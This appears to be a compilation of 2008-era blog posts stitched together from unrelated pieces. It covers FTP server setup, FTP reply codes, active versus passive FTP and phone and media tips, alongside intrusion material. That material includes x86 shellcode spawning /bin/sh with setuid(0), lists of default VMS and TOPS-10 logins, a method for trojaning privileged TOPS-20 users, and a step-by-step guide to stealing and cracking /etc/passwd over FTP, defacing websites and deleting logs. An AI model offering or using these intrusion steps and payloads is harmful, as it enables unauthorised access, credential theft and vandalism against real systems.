You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column.

To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want.

Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly.

Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.

But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner.

You will then have to go into 'Setup -> User Accounts' (or ctrl & u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to.

After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'.

From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder).

Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'.
**Requested**

From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.

Post your ftp info, like this:

213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com')

User: *** (The username of the client)

Pass: *** (The password)

Port: *** (The port number you chose)

So make a FTP and join the FTP section

Listing The Contents Of A Ftp:

Listing the content of a FTP is very simple.
You will need FTP Content Maker, which can be downloaded from here:
ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip

1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.
2. Put in the port. If the port is the default number, 21, you do not have to enter it.
3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.
4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.
5. Click "Take the List!"
6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.

If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.

If you get this error message:
StatusCode = 550
LastResponse was : 'Unable to open local file test-ftp'
Error = 550 (Unable to open local file test-ftp)
Error = Unable to open local file test-ftp = 550
Close and restart FTP Content Maker, then try again.

error messages:

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").
120 Service ready in nnn minutes.
125 Data connection already open; transfer starting.
150 File status okay; about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.
215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.
220 Service ready for new user.
221 Service closing control connection. Logged out if appropriate.
225 Data connection open; no transfer in progress.
226 Closing data connection. Requested file action successful (for example, file transfer or file abort).
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pending further information.
421 Too many users logged to the same account
425 Can't open data connection.
426 Connection closed; transfer aborted.
450 Requested file action not taken. File unavailable (e.g., file busy).
451 Requested action aborted: local error in processing.
452 Requested action not taken. Insufficient storage space in system.
500 Syntax error, command unrecognized. This may include errors such as command line too long.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken. File unavailable (e.g., file not found, no access).
551 Requested action aborted: page type unknown.
552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).
553 Requested action not taken. File name not allowed.

Active FTP vs. Passive FTP, a Definitive Explanation

Introduction
One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.

This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...

The Basics
FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.

Active FTP
In active mode FTP the client connects from a random unprivileged port (N > 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20.

From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's port 20 to ports > 1024 (Server initiates data connection to client's data port)
FTP server's port 20 from ports > 1024 (Client sends ACKs to server's data port)

In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.

The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.

Active FTP Example
Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

Passive FTP
In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.

In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's ports > 1024 from anywhere (Client initiates data connection to random port specified by server)
FTP server's ports > 1024 to remote ports > 1024 (Server sends ACKs (and data) to client's data port)

In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port.

While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.

The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.

With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.

Passive FTP Example
Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

Summary
The following chart should help admins remember how each FTP mode works:

Active FTP :
command : client >1024 -> server 21
data : client >1024 <- server 20

Passive FTP :
command : client >1024 -> server 21
data : client >1024 -> server >1024

A quick summary of the pros and cons of active vs. passive FTP is also in order:

Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.

Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn't eliminate all risk to the server, it decreases it tremendously.
Trick by : Infintytricks.blogspot.com

Advanced Shellcoding Techniques

2008-01-20T08:09:00.000-08:00

Advanced Shellcoding Techniques
This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.

The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.

The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:

xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.

Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.

Conclusion

I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.
Trick by : Infintytricks.blogspot.com

Accessing The Entire Internet On Your 3 Phone, U8110, E616

2008-01-20T08:03:00.000-08:00

Accessing The Entire Internet On Your 3 Phone, U8110, E616

If you have a phone thats with the provider 3 theres a simple trick to allow you to access the entire internet on its browser without having to go through 3 services and only what they want to allow you access to view.

Simply do the following.

Menu - 9 (for settings) - 5 (for access points) - Edit the 3 Services
Change the APN (down the bottom) from 3services to 3netaccess
Restart the phone
And you can now access the entire internet through your phones browser.

Remember you'll have to change it back if you want to access 3 services.
Changing it in the browser doesn't seem to work.

I have tried this on my U8110 and it worked perfectly

Things to note:

* Remember that you are charged for all downloads (.4c per kb on most plans) so if your cautious about your phone bill id advise staying away from sites with loads of pictures.
* Also, some people have had trouble where they have accessed a site with too much information on it and the phone has either froze or reset. The phone is not harmed by this but its advisable you dont go to large sites on it for this or the above reason. If your phone freezes and you cant turn it off simply take the battery out and put it back in.
Trick by : Infintytricks.blogspot.com

A very small tutorial for RealMedia

2008-01-18T00:14:00.000-08:00

A very small tutorial for RealMedia

You may find this helpful if you donwload hundreds of short episodes in rm format like me and tired of double-click to open next files.

Very easy. Use notepad to open a new file, type this inside:
file://link to file1
file://link to file2
(type as many as you want)
Close file. Rename it to FileName.rm

Then you`re done!!!!

Ex:
I put my playlist file here: C:\Movies\7VNR
And the movie files are in C:\Movies\7VNR\DragonBall

Then inside my playlist file I`ll have something like this:

file://DragonBall/db134.rm
file://DragonBall/db135.rm
file://DragonBall/db136.rm
file://DragonBall/db137.rm
file://DragonBall/db138.rm

A Trick by: http://infintytricks.blogspot.com/

A Novice's Guide To Hacking

2008-01-14T05:16:00.000-08:00

A Novice's Guide To Hacking

This file is an addendum to "A Novice's Guide To Hacking" written by "The
Mentor". The word "hacking" is here used the way the non-hacking public
thinks it is used, to mean breaking into somebody else's computer. Its
purpose is to expand and clarify the information about the TOPS-20 operating
system, which runs on DECsystem-20 mainframes. The Mentor basically lumped
this system in with TOPS-10 and didn't note important differences between the
two. I will here reproduce in full what The Mentor had to say about TOPS-10
and about VMS, which are the parent and the offspring of TOPS-20.

VMS- The VAX computer is made by Digital Equipment Corporation (DEC),
and runs the VMS (Virtual Memory System) operating system.
VMS is characterized by the 'Username:' prompt. It will not tell
you if you've entered a valid username or not, and will disconnect
you after three bad login attempts. It also keeps track of all
failed login attempts and informs the owner of the account next time
s/he logs in how many bad login attempts were made on the account.
It is one of the most secure operating systems around from the
outside, but once you're in there are many things that you can do
to circumvent system security. The VAX also has the best set of
help files in the world. Just type HELP and read to your heart's
content.
Common Accounts/Defaults: [username: password [[,password]] ]
SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB
OPERATOR: OPERATOR
SYSTEST: UETP
SYSMAINT: SYSMAINT or SERVICE or DIGITAL
FIELD: FIELD or SERVICE
GUEST: GUEST or unpassworded
DEMO: DEMO or unpassworded
DECNET: DECNET

DEC-10- An earlier line of DEC computer equipment, running the TOPS-10
operating system. These machines are recognized by their
'.' prompt. The DEC-10/20 series are remarkably hacker-friendly,
allowing you to enter several important commands without ever
logging into the system. Accounts are in the format [xxx,yyy] where
xxx and yyy are integers. You can get a listing of the accounts and
the process names of everyone on the system before logging in with
the command .systat (for SYstem STATus). If you seen an account
that reads [234,1001] BOB JONES, it might be wise to try BOB or
JONES or both for a password on this account. To login, you type
.login xxx,yyy and then type the password when prompted for it.
The system will allow you unlimited tries at an account, and does
not keep records of bad login attempts. It will also inform you
if the UIC you're trying (UIC = User Identification Code, 1,2 for
example) is bad.
Common Accounts/Defaults:
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES

**** note: I'm remembering this stuff from several years ago, and in some
cases my memory may be foggy or stuff may be outdated.

TOPS-20, once you are inside, resembles VMS much more than it resembles
TOPS-10, as far as I know (I'm not really familiar with VMS). From the
outside, it's more like TOPS-10, except that the prompt is a @ instead of a
period. You can enter many commands without logging in, including SYSTAT and
probably FINGER. (Sometimes you can even use the mail program without
logging in.) It is very helpful. Not only does the command HELP lead to
lots of useful information, but anywhere in typing a command you can press ?
and it will tell you what the format of the command expects. For instance,
if you type ? by itself, it will tell you all the words that a command can
begin with. If you type S?, it will tell you all the commands that start
with the letter S. If you type SYSTAT ?, it will tell you the options
available on the systat command. You can use this at any point in any
command. Furthermore, if there is only one possibility (you have typed a
unique abbreviation), you can press Escape and it will finish the word for
you. I'm not sure, but I think TOPS-20 was the system that first introduced
filename completion as well --turning a uniquely abbreviated filename into a
complete name when you press escape, beeping if the abbreviation is not
unique. With command keywords you can leave the abbreviation un-expanded,
with filenames you have to expand it (or type it all in) for it to work.

Use the "Login" command to log in, followed by a username. It will prompt
for a password. Note that a password can be something like 39 characters
long, as can the username itself. TOPS-20 does NOT use numbers like 317,043
for user IDs. (Note that these numbers in TOPS-10 are octal, not decimal.)
Furthermore, the password can contain spaces. So, if somebody wants to make
his password difficult to guess, he can easily do so.

(But sometimes they might get overconfident. I remember a story from
Stanford... Someone asked the large cheese if he would let him know what the
operator password was, and he said "The operator password is currently
unavailable." So the guy tried "currently unavailable" as a password, and
got in. (Which reminds me of the time they got a real bug in the system
there... a head crash caused by an ant on the disk platter.))

In general, TOPS-20 does not limit the number of login attempts, nor does it
keep a record of bad tries. However, it is not difficult for the local
management to add such measures, or others such as a delay of several seconds
after each attempt. And unlike Unix, it is difficult to evade these even
once you're in. Without heavy in-depth knowledge, you can't test a username-
password combination except through a system call, which will enforce delays
and limited failures and such against password-trying programs.

So, TOPS-20 is easy to defend against the "database hack", in which you try
many different common passwords with many different usernames. (Unix is
much more vulnerable to this.) But any particular system, especially a lax
one like a college machine (DEC is always popular in academia), might have
little defense here. But you might not know how much defense until too late.

Do try the GUEST username.

But TOPS-20 can be very vulnerable to trojan horses. See, there's this thing
called the Wheel bit. A username that has the Wheel property can do anything
the system operator can do, such as ignore file protection masks, edit the
disks at the track/sector level, change any area of memory... On Unix, only
one user, the superuser, can read and write protected files. On TOPS-20, any
user can do these things from any terminal, if the Wheel attribute is set in
his user data. Some campus computers tend to accumulate excess trusted users
with wheel bits, and have to periodically prune away the unnecessary ones.

The thing is that a wheel can do these things without knowing that he has
done them. Normally the privileged commands are deactivated. But a program
run by a wheel can activate the privileges, do anything it wants, cover its
tracks, and deactivate them without the user ever being the wiser. So if you
can get any wheel user to run any program you wrote, such as a game or small
utility... there's no limit to what you can do. In particular, you can
create a new username, and make it a wheel. Or you can simply ask the system
outright for someone's password, if I'm not mistaken. (All this requires
access to TOPS-20 programming manuals, but some of the necessary material
should be available on line.) You cannot actually conceal this creation, as
far as I know... but maybe with sophisticated enough knowledge you could
make it not immediately apparent... Anyway, once you get that far in, you can
probably keep one step ahead of them for a while... If they erase your new
accounts, you can use the passwords to old ones... They can change all of
the wheel passwords, but a lot of the regular users won't change for some
time... You could even lock the operators out of their own system by
changing all their passwords for them, if you were crazy enough, perhaps
forcing them to shut the machine down to regain control of it. They might
even have to restore stuff from tape backup.

Even if you don't wedge your way into secret stuff, a TOPS-20 system can be
fun to explore. It's much more novice-friendly than most systems, and much
more hacker-friendly as well. I think the ascendency of Unix as the least-
common-denominator OS that everybody can agree on is a definite loss,
compared to TOPS-20.

A Trick by : http://infintytricks.blogspot.com/

Guide to the easiest 'hacking'

2008-01-14T05:12:00.000-08:00

Guide to the easiest 'hacking'

OK, this is mini guide to the easiest 'hacking' there is ( I think ) if any
one knows different then mail me and tell me :) .
Most FTP servers have the directory /pub which stores all the 'public' information
for you to download. But along side /pub you will probably find other directorys
such as /bin and /etc its the /etc directory which is important. In this directory
there is normally a file called passwd. . This looks something like this :-
root:7GHgfHgfhG:1127:20:Superuser
jgibson:7fOsTXF2pA1W2:1128:20:Jim Gibson,,,,,,,:/usr/people/jgibson:/bin/csh
tvr:EUyd5XAAtv2dA:1129:20:Tovar:/usr/people/tvr:/bin/csh
mcn:t3e.QVzvUC1T.:1130:20:Greatbear,,,,,,,:/usr/people/mcn:/bin/csh
mouse:EUyd5XAAtv2dA:1131:20:Melissa P.:/usr/people/mouse:/bin/csh
This is where all the user names and passwords are kept. For example, root is
the superuser and the rest are normal users on the site. The bit after the word
root or mcn such as in this example (EUyd5XAAtv2dA) is the password BUT it is
encrypted. So you use a password cracker....which you can d/l from numerous sites
which I will give some URL's to at the end of this document. With these password
crackers you will be asked to supply a passwd. file which you download from the
\etc directory of the FTP server and a dictionary file which the crackers progam
will go through and try to see if it can make any match. And as many people use
simple passwords you can use a 'normal' dictionary file. But when ppl REALLY don't
want you to break their machines they set their passwords to things such as GHTiCk45
which Random Word Generator will create (eventually ). Which is where programs such
as Random Word Generator come in. ( Sorry just pluging my software )
BTW the bad news is that new sites NORMALLY have password files which look like this :-
root:x:0:1:0000-Admin(0000):/:/sbin/sh
The x signifies shadowed - you can't use a cracker to crack it because there's nothing
there to crack, its hidden somewhere else that you can't get to. x is also represented
as a * or sometimes a . Ones like the top example are known as un-shadowed password
files normally found at places with .org domain or .net and prehaps even .edu sites.
(Also cough .nasa.gov cough sites).
If you want a normal dictionary file i recommend you go to
http://www.globalkos.org and download kOS Krack which
has a 3 MEG dictionary file. Then run a .passwd cracking program
such as jack the ripper or hades or killer crack ( I recommend ) against the
.passwd file and dictionary file. Depending upon the amount of passwords in
the .passwd file, the size of the dictionary file and the speed of the processor
it could be a lengthy process.
Eventually once you have cracked a password you need a basic knowledge of unix.
I have included the necassary commands to upload a different index.html file to
a server :-
Connect to a server through ftp prefably going through a few shells to hide your
host and login using the hacked account at the Login: Password: part.
Then once connected type
dir or list
If there's a directory called public_html@ or something similar change directory
using the Simple dos cd command ( cd public_html )
Then type binary to set the mode to binary transfer ( so you can send images if
necassary )
Then type put index.html or whatever the index file is called.
It will then ask which transfer you wish to use, Z-Modem is the best.
Select the file at your end you wish to upload and send it.
Thats it !
If you have root delete any log files too.
Please note that this process varys machine to machine.
To change the password file for the account ( very mean ) login in through telnet
and simply type passwd at the prompt and set the password for the account to anything
you wish.
Thats it....if ya don't understand it read it about 10x if ya still don't ask someone
else i am too busy with errrr stuff..

A Trick by : http://infintytricks.blogspot.com/

A Guide to Internet Security: Becoming an Uebercracker

2008-01-14T05:10:00.000-08:00

A Guide to Internet Security: Becoming an Uebercracker
and Becoming an UeberAdmin to stop Uebercrackers.

Author: Christopher Klaus
Date: December 5th, 1993.
Version: 1.1

This is a paper will be broken into two parts, one showing 15 easy steps
to becoming a uebercracker and the next part showing how to become a
ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased
by Dan Farmer to refer to some elite (cr/h)acker that is practically
impossible to keep out of the networks.

Here's the steps to becoming a uebercracker.

Step 1. Relax and remain calm. Remember YOU are a Uebercracker.

Step 2. If you know a little Unix, you are way ahead of the crowd and skip
past step 3.

Step 3. You may want to buy Unix manual or book to let you know what
ls,cd,cat does.

Step 4. Read Usenet for the following groups: alt.irc, alt.security,
comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background
in uebercracker culture.

Step 5. Ask on alt.irc how to get and compile the latest IRC client and
connect to IRC.

Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way
there!)

Step 7. Now, sit on #hack and send messages to everyone in the channel
saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks
questions like "Why cant I join #warez?"

Step 8. (Important Step) Send private messages to everyone asking for new
bugs or holes. Here's a good pointer, look around your system for binary
programs suid root (look in Unix manual from step 3 if confused). After
finding a suid root binary, (ie. su, chfn, syslog), tell people you have a
new bug in that program and you wrote a script for it. If they ask how it
works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask
them to trade for their get-root scripts.

Step 9. Make them send you some scripts before you send some garbage file
(ie. a big core file). Tell them it is encrypted or it was messed up and
you need to upload your script again.

Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be
obnoxious on #hack otherwise people will look down on you and not give you
anything.)

Step 11. Hopefully you will now have atleast one or two scripts that get
you root on most Unixes. Grab root on your local machines, read your
admin's mail, or even other user's mail, even rm log files and whatever
temps you. (look in Unix manual from step 3 if confused).

Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the
same test). Email your admin how "layme" he is and how you got root and how
you erased his files, and have it appear coming from satan@evil.com.

Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag
about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are
a uebercracker.)

Step 14. Wait a few months and have all your notes, etc ready in your room
for when the FBI, Secret Service, and other law enforcement agencies
confinscate your equipment. Call eff.org to complain how you were innocent
and how you accidently gotten someone else's account and only looked
because you were curious. (Whatever else that may help, throw at them.)

Step 15. Now for the true final supreme eliteness of all uebercrackers, you
go back to #hack and brag about how you were busted. YOU are finally a
true Uebercracker.

Now the next part of the paper is top secret. Please only pass to trusted
administrators and friends and even some trusted mailing lists, Usenet
groups, etc. (Make sure no one who is NOT in the inner circle of security
gets this.)

This is broken down on How to Become an UeberAdmin (otherwise know as a
security expert) and How to stop Uebercrackers.

Step 1. Read Unix manual ( a good idea for admins ).

Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install
sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers
now. Rdist scripts is among the favorites for getting root by
uebercrackers.

Step 3. Okay, maybe you want to actually secure your machine from the
elite Uebercrackers who can break into any site on Internet.

Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing
